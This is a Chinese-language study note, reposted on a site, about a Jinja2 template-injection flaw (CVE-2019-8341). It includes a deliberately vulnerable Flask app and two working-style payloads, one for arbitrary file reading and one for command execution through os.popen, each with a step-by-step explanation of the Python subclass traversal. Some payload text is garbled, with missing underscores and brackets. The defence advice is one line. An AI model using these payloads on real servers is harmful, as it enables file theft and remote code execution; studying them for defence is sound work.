CVE-2019-8341 Jinja2 RCE漏洞學習


漏洞簡述



漏洞簡介


Jinja2.10版本,Environment的實例方法from_string,存在RCE,該函數在內部實現邏輯中,存在exec函數去執行了,from_string函數參數中的jinja2的代碼指令。

漏洞分類


遠程命令/代碼執行

影響版本


2.10

漏洞驗證:



驗證環境

  • 系統: Mac OS X
  • Python:2.7.15
  • Flask : 1.0.2
  • Jinja: 2.10

驗證服務器腳本(漏洞代碼)


import jinja2
from flask import Flask
from flask import request

app = Flask("vuln")

@app.route("/")
def index():
            username = request.values.get('username')
            return jinja2.Environment().from_string('Hello ' + username).render()

if __name__ == "__main__":
            app.run(host='127.0.0.1' , port=4444)

問題代碼就出在第10行: jinja2.Environment().from_string('Hello ' + username).render()

攻擊方法1--任意文件讀取


Payload:http://localhost:4444/?username={{ ''.class.mro[2].subclasses()40.read() }}
解釋Payload:

#"""__mro類似於__base__,但是__mro__是追根溯源的,不是向上查找一級"""
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[-1]
<type 'object'>
>>> ''.__class__.__mro__[-1].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>]
>>> ''.__class__.__mro__[-1].__subclasses__()[40]
<type 'file'>
#最終看出來就是在獲取file類使用file類創建一個對象,輸入參數是文件名,read()函數讀取:

攻擊方法2--命令執行


Payload:http://localhost:4444/?username={{%27%27.class.base.mro()[1].subclasses()[71].init.globals[%27os%27].popen(%22ls%20-l%22).read()}}
解釋Payload:

#前面同理買就是為了獲取兩個類,這兩個類中的__init__.__globals__中有os模塊,用來執行命令:
"""
<class 'site._Printer'>
<class 'site.Quitter'>
"""
#然后可以獲取到os模塊,利用os模塊的popen執行命令,read函數獲取回顯。

防御



不使用這個函數或者對屬於進行過濾。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM